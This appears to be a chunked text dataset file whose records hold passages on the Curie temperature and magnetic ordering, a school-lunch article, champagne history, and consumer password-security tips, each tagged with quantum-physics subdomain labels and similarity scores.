electrons inside atoms contribute magnetic moments from their own angular momentum and from their orbital momentum around the nucleus. magnetic moments from the nucleus are insignificant in contrast to magnetic moments from electrons. thermal contribution will result in higher energy electrons causing disruption to their order and alignment between dipoles to be destroyed. ferromagnetic, paramagnetic, ferrimagnetic and antiferromagnetic materials have different structures of intrinsic magnetic moments. it is at a material ' s specific curie temperature where they change properties. the transition from antiferromagnetic to paramagnetic ( or vice versa ) occurs at the neel temperature which is analogous to curie temperature. | below tc | | above tc | ferromagnetism the magnetic moments in a", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5675649300990923, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.735635"} {"text": "the transition from antiferromagnetic to paramagnetic ( or vice versa ) occurs at the neel temperature which is analogous to curie temperature. | below tc | | above tc | ferromagnetism the magnetic moments in a ferromagnetic material. the moments are ordered and of the same magnitude in the absence of an applied magnetic field. paramagnetism the magnetic moments in a paramagnetic material. the moments are disordered in the absence of an applied magnetic field and ordered in the presence of an applied magnetic field. ferrimagnetism the magnetic moments in a ferrimagnetic material. the moments are aligned oppositely and have different magnitudes due to being made up of two different ions. this is in the absence of an applied magnetic field. antiferromagnetism the magnetic moments in a antiferromagnetic material. the moments are aligned oppositely and have the same magnitudes. this is in the absence of an applied magnetic field. materials with magnetic moments that change properties at the curie temperature ferromagnetic, paramagnetic, ferrimagnetic and antiferromagntic structures are made up of intrinsic magnetic moments. if all electrons within the structure are paired these moments cancel out due to having opposite spins and angular momentums and thus even with an applied magnetic field will have different properties and no curie temperature. a material is paramagnetic only above its curie temperature. paramagnetic materials are non - magnetic when a magnetic field is absent and magnetic when a magnetic field is applied. when the magnetic field is absent the material has disordered magnetic moments ; that is, the atoms are unsymmetrical and not aligned. when the magnetic field is present the magnetic moments are temporarily realigned parallel to the applied field ; the atoms are symmetrical and aligned. the magnetic moment in the same direction is what causes an induced magnetic field. for paramagnetism this response to an applied magnetic field is positive and known as magnetic susceptibility. the magnetic susceptibility only applies above the curie temperature for disordered states. sources of paramagnetism ( materials which have curie temperatures ) ; - all atoms which have unpaired electrons ; - atoms where inner shells are incomplete in electrons ; - free radicals ; above the curie temperature the atoms are excited, the spin orientation becomes randomised, but can be realigned in an applied field and the material paramagnetic. below", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5487998894066856, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.736723"} {"text": "- atoms where inner shells are incomplete in electrons ; - free radicals ; above the curie temperature the atoms are excited, the spin orientation becomes randomised, but can be realigned in an applied field and the material paramagnetic. below the curie temperature the intrinsic structure has under gone a phase transition, the atoms are ordered and the material is ferromagnetic. the paramagnetic materials induced magnetic fields are very weak in comparison to ferromagnetic materials magnetic fields. materials are only ferromagnetic below their corresponding curie temperatures. ferromagnetic materials are magnetic in the absence of an applied magnetic field. when a magnetic field is absent the material has spontaneous magnetization which is a result of the ordered magnetic moments ; that is for ferromagnetism, the atoms are symmetrical and aligned in the same direction creating a permanent magnetic field. the magnetic interactions are held together by exchange interactions ; otherwise thermal disorder would overcome the weak interactions of magnetic moments. the exchange interaction has a zero probability of parallel electrons occupying the same point in time implying a preferred parallel alignment in the material. the boltzmann factor contributes heavily as it prefers interacting particles to be aligned in the same direction. this is what causes ferromagnets to have strong magnetic fields and high curie temperature ' s around 1000k. below the curie temperature the atoms are aligned and parallel causing spontaneous magnetism ; the material is ferromagnetic. above the curie temperature the material is paramagnetic as the atoms lose their ordered magnetic moments as the material undergoes a phase transition. not to be confused with ferromagnetic. materials are only ferrimagnetic below their materials corresponding curie temperature. ferrimagnetic materials are magnetic in the absence of an applied magnetic field and are made up of two different ions. when a magnetic field is absent the material has a spontaneous magnetism which is the result of ordered magnetic moments ; that is, for ferrimagnetism one ion ' s magnetic moments are aligned facing in one direction with certain magnitude and the other ion ' s magnetic moments are aligned facing in the opposite direction with a different magnitude. as the magnetic moments are of different magnitudes in opposite directions there is still a spontaneous magnetism and a magnetic field is present. similar to ferromagnetic materials the magnetic interactions are held together by exchange interactions. the orientations of moments however are anti - parallel which results in a net momentum by subtracting their momentum from one", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5553418047887904, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.738224"} {"text": "one. | | g | | the lande g - factor | | j ( j + 1 ) | | the eigenvalue for eigenstate j2 for the stationary states within the incomplete atoms shells ( electrons unpaired ) | | \u00b5b | | the bohr magneton | | total magnetism | | is n number of magnetic moments per unit volume | the curie - weiss law is then derived from curie ' s law to be for full derivation see curie - weiss law physics of curie temperature approaching curie temperature from above as the curie - weiss law is an approximation a more accurate model is needed when the temperature, t, approaches the materials curie temperature, tc. magnetic susceptibility occurs above the curie temperature. an accurate model of critical behaviour for magnetic susceptibility with critical exponent \u03b3 ; as temperature is inversely proportional to magnetic susceptibility when t approaches tc the denominator tends to zero and the magnetic susceptibility approaches infinity allowing magnetism to occur. this is a spontaneous magnetism which is a property of ferromagnetic and ferrimagnetic materials. approaching curie temperature from below magnetism depends on temperature and spontaneous magnetism occurs below the curie temperature. an accurate model of critical behaviour for spontaneous magnetism with critical exponent \u03b2 ; the critical exponent differs between materials and for the mean - field model as taken as \u03b2 = 0. 5 where t < < tc. the spontaneous magnetism approaches zero as the temperature increases towards the materials curie temperature. the spontaneous magnetism, occurring in ferromagnetic, ferrimagnetic and antiferromagnetic materials, approaches zero as the temperature increases towards the material ' s curie temperature. spontaneous magnetism is at its maximum as the temperature approaches 0k. that is, the magnetic moments are completely aligned and at their strongest magnitude of magnetism due to no thermal disturbance. in paramagnetic materials temperature is sufficient to overcome the ordered alignments. as the temperature approaches 0k the entropy decreases to zero, that is, the disorder decreases and becomes ordered. this occurs without the presence of an applied magnetic field and obeys the third law of thermodynamics. both curie ' s law and the curie - weiss law fail as the temperature approaches 0k. this is because they depend on the magnetic susceptibility which only applies when the state is disordered. gadolinium sulphate continues to satisfy", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5999306023943518, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.740514"} {"text": ", which gives a specific size of magnetic moment to the electron ; the bohr magneton. electrons orbiting around the nucleus in a current loop create a magnetic field which depends on the bohr magneton and magnetic quantum number. therefore the magnetic moments are related between angular and orbital momentum and affect each other. angular momentum contributes twice as much to magnetic moments than orbital. for terbium which is a rare earth metal and has a high orbital angular momentum the magnetic moment is strong enough to affect the order above its bulk temperatures. it is said to have a high anisotropy on the surface, that is it ' s highly directed in one orientation. it remains ferromagnetic on its surface above its curie temperature while it ' s bulk becomes ferrimagnetic and then at higher temperatures it ' s surface remains ferrimagnetic above its bulk neel temperature before becoming completely disordered and paramagnetic with increasing temperature. the anisotropy in the bulk is different to its surface anisotropy just above these phase changes as the magnetic moments will be ordered differently or ordered in paramagnetic materials. changing a material ' s curie temperature composite materials composite materials, that is, materials composed from other materials with different properties, can change the curie temperature. for example a composite which has silver in can create spaces for oxygen molecules in bonding which decreases the curie temperature as the crystal lattice will not be as compact. the alignment of magnetic moments in the composite material affects the curie temperature. if the materials moments are parallel with each other the curie temperature will increase and if perpendicular the curie temperature will decrease as either more or less thermal energy will be needed to destroy the alignments. preparing composite materials through different temperatures can result in different final compositions which will have different curie temperatures. doping a material can also affect it ' s curie temperature. the density of nanocomposite materials changes the curie temperature. nanocomposites are compact structures on a nano - scale. the structure is built up of high and low bulk curie temperatures, however will only have one mean - field curie temperature. a higher density of lower bulk temperatures results in a lower mean - field curie temperature and a higher density of higher bulk temperature significantly increases the mean - field curie temperature. in more than one dimension the curie temperature begins to increase as the magnetic moments will need more thermal energy to overcome the ordered structure. particle size the size of particles in a material ' s crystal", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5637575732530433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.742755"} {"text": "temperature significantly increases the mean - field curie temperature. in more than one dimension the curie temperature begins to increase as the magnetic moments will need more thermal energy to overcome the ordered structure. particle size the size of particles in a material ' s crystal lattice changes the curie temperature. due to the small size of particles ( nanoparticles ) the fluctuations of electron spins become more prominent, this results in the curie temperature drastically decreasing when the size of particles decrease as the fluctuations cause disorder. the size of a particle also affects the anisotropy causing alignment to become less stable and thus lead to disorder in magnetic moments. the extreme of this is superparamagnetism which only occurs in small ferromagnetic particles and is where fluctuations are very influential causing magnetic moments to change direction randomly and thus create disorder. the curie temperature of nanoparticles are also affected by the crystal lattice structure, body - centred cubic ( bcc ), face - centred cubic ( fcc ) and a hexagonal structure ( hcp ) all have different curie temperatures due to magnetic moments reacting to their neighbouring electron spins. fcc and hcp have tighter structures and as a results have higher curie temperatures than bcc as the magnetic moments have stronger effects when closer together. this is known as the coordination number which is the number of nearest neighbouring particles in a structure. this indicates a lower coordination number at the surface of a material than the bulk which leads to the surface becoming less significant when the temperature is approaching the curie temperature. in smaller systems the coordination number for the surface is more significant and the magnetic moments have a stronger affect on the system. although fluctuations in particles can be minuscule, they are heavily dependent on the structure of crystal lattices as they react with their nearest neighbouring particles. fluctuations are also affected by the exchange interaction as parallel facing magnetic moments are favoured and therefore have less disturbance and disorder, therefore a tighter structure influences a stronger magnetism and therefore a higher curie temperature. pressure changes a material ' s curie temperature. increasing pressure on the crystal lattice decreases the volume of the system. pressure directly affects the kinetic energy in particles as movement increases causing the vibrations to disrupt the order of magnetic moments. this is similar to temperature as it also increases the kinetic energy of particles and destroys the order of magnetic moments and magnetism. pressure also affects the density of states ( dos ). here the dos decreases causing the number of electrons available to the system to decrease. this leads to the number of magnetic moments decreasing as they depend", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5811579533595448, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.743919"} {"text": "and destroys the order of magnetic moments and magnetism. pressure also affects the density of states ( dos ). here the dos decreases causing the number of electrons available to the system to decrease. this leads to the number of magnetic moments decreasing as they depend on electron spins. it would be expected because of this that the curie temperature would decrease however it increases. this is the result of the exchange interaction. the exchange interaction favours the aligned parallel magnetic moments due to electrons being unable to occupy the same space in time and as this is increased due to the volume decreasing the curie temperature increases with pressure. the curie temperature is made up of a combination of dependencies on kinetic energy and the dos. it is interesting to note that the concentration of particles also affects the curie temperature when pressure is being applied and can result in a decrease in curie temperature when the concentration is above a certain percent. orbital ordering orbital ordering changes the curie temperature of a material. orbital ordering can be controlled through applied strains [ disambiguation needed ]. this is a function that determines the wave of a single electron or paired electrons inside the material. having control over the probability of where the electron will be allows the curie temperature to be altered. for example the delocalised electrons can be moved onto the same plane by applied strains within the crystal lattice. the curie temperature is seen to increase greatly due to electrons being packed together in the same plane, they are forced to align due to the exchange interaction and thus increases the strength of the magnetic moments which prevents thermal disorder at lower temperatures. curie temperature in ferroelectric and piezoelectric materials in analogy to ferromagnetic and paramagnetic materials, the curie temperature can also used to describe the temperature where a material ' s spontaneous electric polarisation changes to induced electric polarisation, or vice versa. electric polarisation is a result of aligned electric dipoles. aligned electric dipoles are composites of positive and negative charges where all the dipoles are facing in one direction. the charges are separated from their stable placement in the particles and can occur spontaneously, from pressure or an applied electric field. ferroelectric, dielectric ( paraelectric ) and piezoelectric materials have electric polarisation. in ferroelectric materials there is a spontaneous electric polarisation in the absence of an applied electric field. in dielectric materials there is electric polarisation aligned only when an electric field is applied. piezoelectric materials have electric polar", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5591563823318786, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.748552"} {"text": ". in ferroelectric materials there is a spontaneous electric polarisation in the absence of an applied electric field. in dielectric materials there is electric polarisation aligned only when an electric field is applied. piezoelectric materials have electric polarisation due to applied mechanical stress distorting the structure from pressure. t0 is the temperature where ferroelectric materials lose their spontaneous polarisation as a first or second order phase change occurs, that is the internal structure changes or the internal symmetry changes. in certain cases t0 is equal to the curie temperature however the curie temperature can be 10 kelvin lower than t0. | below t0 | | above t0 | all ferroelectric materials are piezoelectric. an external force applies pressure on particles inside the material which affects the structure of the crystal lattice. particles in a unit cell become unsymmetrical which allows a net polarisation from each particle. symmetry would cancel the opposing charges out and there would be no net polarisation. below the transition temperature t0 displacement of electric charges causes polarisation. above the transition temperature t0 the structure is cubic and symmetric, causing the material to become dielectric. electric charges are also agitated and disordered causing the material to have no electric polarisation in the absence of an applied electric field. ferroelectric and dielectric materials are only ferroelectric below their corresponding transition temperature t0. ferroelectric materials are all piezoelectric and therefore have a spontaneous electric polarisation as the structures are unsymmetrical. materials are only dielectric above their corresponding transition temperature t0. dielectric materials have no electric polarisation in the absence of an applied electric field. the electric dipoles are unaligned and have no net polarisation. in analogy to magnetic susceptibility, electric susceptibility only occurs above t0. ferroelectric materials when polarised are influenced under hysteresis ( figure 4 ) ; that is they are dependent on their past state as well as their current state. as an electric field is applied the dipoles are forced to align and polarisation is created, when the electric field is removed polarisation remains. the hysteresis loop depends on temperature and as a result as the temperature is increased and reaches t0 the two curves become one curve as shown in the dielectric polarisation ( figure 5 ). a heat - induced ferromagnetic - paramagnetic transition is used in", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5352805472170743, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.751236"} {"text": "as a result as the temperature is increased and reaches t0 the two curves become one curve as shown in the dielectric polarisation ( figure 5 ). a heat - induced ferromagnetic - paramagnetic transition is used in magneto - optical storage media, for erasing and writing of new data. famous examples include the sony minidisc format, as well as the now - obsolete cd - mo format. other uses include temperature control in soldering irons, and stabilizing the magnetic field of tachometer generators against temperature variation. see also - \" pierre curie - biography \". nobelprize. org. the nobel foundation 1903. retrieved 14 / 03 / 2013. - buschow 2001, p5021, table 1 - jullien 1989, p. 155 - kittel 1986 - hall 1994, p. 200 - jullien 1989, pp. 136 - 138 - luth, harald ibach, hans ( 2009 ). solid - state physics : an introduction to principles of materials science ( 4th extensively updated and enlarged ed. ed. ). berlin : springer. isbn 978 - 3 - 540 - 93803 - 3. - levy 1968, pp. 236 - 239 - dekker 1958, pp. 217 - 220 - levy 1968 - fan 1987, pp. 164 - 165 - dekker 1958, pp. 454 - 455 - mendelssohn 1977, p. 162 - levy 1968, pp. 198 - 202 - cusack 1958, p. 269 - hall 1994, pp. 220 - 221 - palmer 2007 - hall 1994, p. 220 - jullien 1989, pp. 158 \u2013 159 - jullien 1989, pp. 156 - 157 - jullien 1989, pp. 153 - hall 1994, pp. 205 - 206 - levy 1968, pp. 201 - 202 - kittel 1996, pp. 444 - myers 1997, pp. 334 - 345 - hall 1994, pp. 227 - 228 - kittel 1986, pp. 424 - 426 - spaldin 2010, pp. 52 - 54 - hall 1994, pp. 225 - mendelssohn 1977, pp. 180 - 181 - mendelssohn 1977, p. 167 - bertoldi 2012 - brout 1965, pp. 6 - 7 - jullien 1989, p. 161 - rau 1988 - skomski 2000 - jullien 1989, pp. 138 - hall 1994 - hwang 1998 - jones 2003 - lopez -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6057720181367514, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.752185"} {"text": "- brout 1965, pp. 6 - 7 - jullien 1989, p. 161 - rau 1988 - skomski 2000 - jullien 1989, pp. 138 - hall 1994 - hwang 1998 - jones 2003 - lopez - dominguez 2012 - bose 2011 - sadoc 2010 - myers 1997, pp. 404 - 405 - jullien 1989, pp. 56 - 59 - hall 1994, p. 275 - webster 1999 - kovetz 1990, p. 116 - pascoe 1973, pp. 186 - 187 - hummel 2001, pp. 189 - pascoe 1973, pp. 190 - 191 - webster, john g. ( 1999 ). the measurement, instrumentation, and sensors handbook ( [ online - ausg. ] ed. ). boca raton, fla. : crc press published in cooperation with ieee press. pp. 6. 55 \u2013 6. 56. isbn 9780849383472. - pallas - areny & webster 2001, pp. 262 \u2013 263 - buschow, k. h. j. ( 2001 ). encyclopedia of materials : science and technology. elsevier. isbn 0 - 08 - 043152 - 6. - kittel, charles ( 1986 ). introduction to solid state physics ( sixth ed. ). john wiley & sons. isbn 0 - 471 - 87474 - 4. - pallas - areny, ramon ; webster, john g ( 2001 ). sensors and signal conditioning ( 2nd ed. ). john wiley & sons. pp. 262 \u2013 263. isbn 978 - 0 - 471 - 33232 - 9. - spaldin, nicola a. ( 2010 ). magnetic materials : fundamentals and applications ( 2nd ed. ). cambridge : cambridge university press. isbn 9780521886697. - ibach, harald ; luth, hans ( 2009 ). solid - state physics : an introduction to principles of materials science ( 4th extensively updated and enlarged ed. ). berlin : springer. isbn 9783540938033. - levy, robert a ( 1968 ). principles of solid state physics. academic press. isbn 978 - 0124457508. - fan, h. y ( 1987 ). elements of solid state physics. wiley - interscience. isbn 9780471859871. - dekker, adrianus j ( 1958 ). solid state physics. macmillan. isbn 9780333106235.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.6194090395750387, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.753378"} {"text": ". elements of solid state physics. wiley - interscience. isbn 9780471859871. - dekker, adrianus j ( 1958 ). solid state physics. macmillan. isbn 9780333106235. - cusack, n ( 1958 ). the electrical and magnetic properties of solids. longmans, green. - hall, j. r. hook, h. e. ( 1994 ). solid state physics ( 2nd ed. ). chichester : wiley. isbn 0471928054. - jullien, andre guinier ; remi ( 1989 ). the solid state from superconductors to superalloys ( pbk. ed. ). oxford : oxford univ. press. isbn 0198555547. - mendelssohn, k. ( 1977 ). the quest for absolute zero : the meaning of low temperature physics. with s. i. units. ( 2nd ed. ). london : taylor and francis. isbn 0850661196. - myers, h. p. ( 1997 ). introductory solid state physics. ( 2nd ed. ed. ). london : taylor & francis. isbn 0748406603. - kittel, charles ( 1996 ). introduction to solid state physics ( 7. ed. ed. ). new york [ u. a. ] : wiley. isbn 0471111813. - palmer, john ( 2007 ). planar ising correlations ( [ online - ausg. ]. ed. ). boston : birkhauser. isbn 9780817646202. - bertoldi, dalia s ; bringa, eduardo m ; miranda, e n ( 6 june 2012 ). \" analytical solution of the mean field ising model for finite systems \". journal of physics : condensed matter 24 ( 22 ) : 226004. doi : 10. 1088 / 0953 - 8984 / 24 / 22 / 226004. retrieved 12 / 02 / 2013. - brout, robert ( 1965 ). phase transitions. new york, amsterdam : w. a. benjamin. inc. - rau, c. ; jin, c. ; robert, m. ( 1 january 1988 ). \" ferromagnetic order at tb surfaces above the bulk curie temperature \". journal of applied physics 63 ( 8 ) : 3667. doi : 10. 1063 / 1. 34067", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6313029620606814, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.754647"} {"text": ". ( 1 january 1988 ). \" ferromagnetic order at tb surfaces above the bulk curie temperature \". journal of applied physics 63 ( 8 ) : 3667. doi : 10. 1063 / 1. 340679. - skomski, r. ; sellmyer, d. j. ( 1 january 2000 ). \" curie temperature of multiphase nanostructures \". journal of applied physics 87 ( 9 ) : 4756. doi : 10. 1063 / 1. 373149. - lopez - dominguez, victor ; hernandez, joan manel ; tejada, javier ; ziolo, ronald f. ( 8 january 2013 ). \" colossal reduction in curie temperature due to finite - size effects in cofe o nanoparticles \". chemistry of materials 25 ( 1 ) : 6 \u2013 11. doi : 10. 1021 / cm301927z. - bose, s. k. ; kudrnovsky, j. ; drchal, v. ; turek, i. ( 1 november 2011 ). \" pressure dependence of curie temperature and resistivity in complex heusler alloys \". physical review b 84 ( 17 ). doi : 10. 1103 / physrevb. 84. 174422. - webster, john g. ( 1999 ). the measurement, instrumentation, and sensors handbook ( [ online - ausg. ] ed. ). boca raton, fla. : crc press published in cooperation with ieee press. isbn 0849383471. - kovetz, attay ( 1990 ). the principles of electromagnetic theory. ( 1st published. ed. ). cambridge [ england ] : cambridge university press. isbn 0 - 521 - 39997 - 1. - hummel, rolf e. ( 2001 ). electronic properties of materials ( 3. ed. ed. ). new york [ u. a. ] : springer. isbn 0 - 387 - 95144 - x. - pascoe, k. j. ( 1973 ). properties of materials for electrical engineers. new york, n. y. : j. wiley and sons. isbn 0471669113. - jones, paulsen, jason a. lo, chester c h ; snyder, john e. ; ring, a. p. ; jones, l. l. ; jiles, david c. ( sept. 2003 ). study", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5663639071758322, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.755713"} {"text": "##3. - jones, paulsen, jason a. lo, chester c h ; snyder, john e. ; ring, a. p. ; jones, l. l. ; jiles, david c. ( sept. 2003 ). study of the curie temperature of cobalt ferrite based composites for stress sensor applications. 39, issue : 5. p. 3316 - 3318. - hwang, hae jin ; nagai, toru ; ohji, tatsuki ; sando, mutsuo ; toriyama, motohiro ; niihara, koichi ( 21 january 2005 ). \" curie temperature anomaly in lead zirconate titanate / silver composites \". journal of the american ceramic society 81 ( 3 ) : 709 \u2013 712. doi : 10. 1111 / j. 1151 - 2916. 1998. tb02394. x. - sadoc, aymeric ; mercey, bernard ; simon, charles ; grebille, dominique ; prellier, wilfrid ; lepetit, marie - bernadette ( 1 january 2010 ). \" large increase of the curie temperature by orbital ordering control \". physical review letters 104 ( 4 ). doi : 10. 1103 / physrevlett. 104. 046804. - \" pierre curie - biography \". nobelprize. org, from nobel lectures, physics 1901 - 1921, elsevier publishing company, amsterdam, 1967. the nobel foundation 1903. retrieved 14 / 03 / 2013.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5604004180812272, "token_count": 324, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.756260"} {"text": "school lunch vs. bag lunch : what ' s best for your kids? ( bpt ) - bag it or buy it? what ' s healthier and what will they eat? it ' s a question faced by parents each school year. often, there ' s an assumption that bagging is better, but there ' s also the convenience and choices of school lunch to consider. good news : both the tray and the tote can be winning meals. a few important facts can help make this year ' s lunchtime decisions a breeze. new school lunch initiatives much attention has been paid to children ' s health and there ' s an increased awareness that lunch at school is a critical source of nutrition for students. new federal guidelines have been introduced to ensure that menus provide more whole grains, more fruits and vegetables and less fat and sodium. thanks to dedicated efforts driven by schools, parents and the federal government, many positive changes are occurring. \" there ' s a lot happening in the lunch line, \" says dr. brian wansink, researcher and professor at cornell university. wansink and dr. david just, researcher and associate professor at cornell university, created smarter lunchrooms, a multi - faceted program that provides schools with tools that can improve children ' s eating behaviors in the cafeteria. \" it ' s a common misconception that kids won ' t eat healthy foods, but our work shows that not to be the case. we can encourage healthy choices in the way we present foods to kids, \" says wansink. he and his team have carefully studied the cafeteria line and how kids choose foods. the placement of foods on the lunch line, how foods are named on the menu and offering choices significantly affect which foods kids select. for example, moving fruit from a commercial bin to an attractive fruit bowl near the end of the line is proven to increase selection. \" banning favorite foods such as tacos and pizza from a cafeteria can backfire, \" adds wansink. \" when kids feel restricted or forced into a decision, they rebel and may choose not to eat. nobody wins in that scenario. we know a healthy lunch is necessary for good school performance. \" companies have stepped up to improve nutrition by creating new versions of kid - favorite foods that meet the new usda school meal rules. stir - fry, tacos, pastas and pizzas have become healthy fare as lower fat, lower sodium, whole grain versions have been introduced. for example, schwan ' s food service created big daddy ' s", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4657482010110445, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.760576"} {"text": "the romans were the first to plant vineyards in this area of northeast france with the region being cultivated by at least the 5th century, possibly earlier. wines from the champagne region were known before medieval times. churches owned vineyards and monks produced wine for use in the sacrament of eucharist. french kings were traditionally anointed in reims and champagne wine was served as part of coronation festivities. the champenois were envious of the reputation of the wines made by their burgundian neighbours to the south and sought to produce wines of equal acclaim. however, the northerly climate of the region gave the champenois a unique set of challenges in making red wine. at the far extremes of sustainable viticulture, the grapes would struggle to ripen fully and often would have bracing levels of acidity and low sugar levels. the wines would be lighter bodied and thinner than the burgundy wines they were seeking to outdo. contrary to legend and popular belief, dom perignon did not invent sparkling wine. the oldest recorded sparkling wine is blanquette de limoux, which was apparently invented by benedictine monks in the abbey of saint hilaire near carcassonne in 1531. over a century later, the english scientist and physician christopher merret documented the addition of sugar to a finished wine to create a second fermentation six years before dom perignon set foot in the abbey of hautvillers and almost 40 years before it was claimed that the famed benedictine monk invented champagne. merret presented the royal society with a paper in which he detailed what is now called methode champenoise in 1662. although dom perignon did not invent champagne, he did develop many advances in production of the drink, including holding the cork in place with a wire collar ( muselet ) to withstand the fermentation pressure. in france, the first sparkling champagne was created accidentally ; its pressure led it to be called \u201c the devil \u2019 s wine \u201d ( le vin du diable ) as bottles exploded or the cork jolted away. even when it was deliberately produced as a sparkling wine, champagne was for a very long time made by the methode rurale, where the wine was bottled before the only fermentation had finished. champagne did not utilize the methode champenoise until the 19th century, approximately 200 years after christopher merret documented the process. the 19th century saw an explosive growth in champagne production going from a regional production of 300, 000 bottles a year in 1800 to 20 million bottles in 1850. in the 19th century", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.39750719286725433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.765630"} {"text": "damian dovarganes / associated press damian dovarganes / associated press new york \u2013 rarely does a week go by without news of another hacking incident, whether it \u2019 s chinese hackers accused of breaking in to the new york times \u2019 computer systems or burger king finding its twitter account taken over by pranksters. security threats aren \u2019 t new and have long been part of online life. but the increased attention on them makes now a good time to review ways you can protect yourself. if nothing here feels new, that \u2019 s good, as it means you \u2019 ve been doing the things you need to do to keep your accounts safe from hackers. although there \u2019 s no way to completely eliminate threats, minimizing them will go a long way. one of the best things you can do is to make sure your password is strong. if someone \u2019 s able to guess the password to your email or facebook account, that person can post or send embarrassing things on your behalf. someone was able to access burger king \u2019 s twitter account recently and changed its profile picture to a mcdonald \u2019 s logo. if a banking or amazon account is involved, someone could pay bills or buy ipads under your name \u2013 with your money. what \u2019 s worse, getting a password to one account is often a stepping stone to a more serious breach. someone can use your email or facebook account to send spam and scam messages to your friends, for instance. and because many services let you reset your password by sending an email to your address on file, someone with access to your email account can reset passwords and gain access to all sorts of things. if the compromised password is one you use for work, someone can snoop around for files on your employer \u2019 s network with trade secrets or customers \u2019 credit card numbers. here are ways you can keep your password strong to ward off that initial intrusion : make your password long. the recommended minimum is eight characters, but 14 is better and 25 is even better than that. some services have character limits on passwords, though. use combinations of letters and numbers, upper and lower case and symbols such as the exclamation mark. some services won \u2019 t let you do all of that, but try to vary it as much as you can. \u201c password! 43 \u201d is far better than \u201c password43. \u201d avoid words that are in dictionaries, even if you add numbers and symbols. there are programs that can crack passwords by going through databases of known words. one trick is to add", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4467754130705818, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.774321"} {"text": "! 43 \u201d is far better than \u201c password43. \u201d avoid words that are in dictionaries, even if you add numbers and symbols. there are programs that can crack passwords by going through databases of known words. one trick is to add numbers in the middle of a word \u2013 as in \u201c pas123swor456d \u201d instead of \u201c password123456. \u201d another is to think of a sentence and use just the first letter of each word \u2013 as in \u201c tqbfjotld \u201d for \u201c the quick brown fox jumps over the lazy dog. \u201d substitute characters. for instance, use the number 0 instead of the letter o, or replace the s with a dollar sign. avoid easy - to - guess words, even if they aren \u2019 t in the dictionary. you shouldn \u2019 t use your name, company name or hometown, for instance. avoid pets and relatives \u2019 names, too. likewise, avoid things that can be looked up, such as your birthday or zip code. but you might use that as part of a complex password. try reversing your zip code or phone number and insert that into a string of letters. as a reminder, you should also avoid \u201c password \u201d as the password, or consecutive keys on the keyboard, such as \u201c 1234 \u201d or \u201c qwerty. \u201d never reuse passwords on other accounts \u2013 with two exceptions. over the years, i \u2019 ve managed to create hundreds of accounts. many are for one - time use, such as when a newspaper website requires me to register to read the full story. it \u2019 s ok to use simple passwords and repeat them in those types of situations, as long as the password isn \u2019 t unlocking features that involve credit cards or posting on a message board. that will let you focus on keeping passwords to the more essential accounts strong. the other exception is to log in using a centralized sign - on service such as facebook connect. hulu, for instance, gives you the option of using your facebook username and password instead of creating a separate one for the video site. this technically isn \u2019 t reusing your password, but a matter of hulu borrowing the log - in system facebook already has in place. the account information isn \u2019 t stored with hulu. facebook merely tells hulu \u2019 s computers that it \u2019 s you. of course, if you do this, it \u2019 s even more important to keep your facebook password secure. how do you keep track of these passwords? there are programs", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48763232465288747, "token_count": 512, 